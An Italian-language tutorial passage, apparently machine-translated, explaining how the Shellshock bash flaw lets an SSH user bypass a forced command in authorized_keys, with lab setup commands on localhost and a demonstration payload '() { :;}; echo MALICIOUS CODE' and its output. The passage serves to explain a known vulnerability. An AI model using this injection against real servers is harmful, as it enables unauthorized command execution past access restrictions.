Un esempio in cui questo può essere sfruttato è sui server con un authorized_keyscomando forzato. Quando si aggiunge una voce a ~/.ssh/authorized_keys, è possibile aggiungere il prefisso alla riga command="foo"per forzare fool'esecuzione ogni volta che viene utilizzata la chiave pubblica ssh. Con questo exploit, se la shell dell'utente di destinazione è impostata su bash, possono sfruttare l'exploit per eseguire cose diverse dal comando a cui sono costrette.
Questo probabilmente avrebbe più senso nell'esempio, quindi ecco un esempio:
sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser
Qui impostiamo un utente testuser, che forza l'esecuzione di tutte le connessioni ssh usando il tasto ssh echo starting sleep; sleep 1.
Possiamo provarlo con:
$ ssh testuser@localhost echo something else
starting sleep
Nota come il nostro echo something elsenon viene eseguito, ma starting sleepmostra che il comando forzato è stato eseguito.
Ora mostriamo come utilizzare questo exploit:
$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep
Questo funziona perché sshdimposta la SSH_ORIGINAL_COMMANDvariabile di ambiente sul comando passato. Quindi, anche se sshdeseguito sleep, e non il comando a cui gli ho detto, a causa dell'exploit, il mio codice viene comunque eseguito.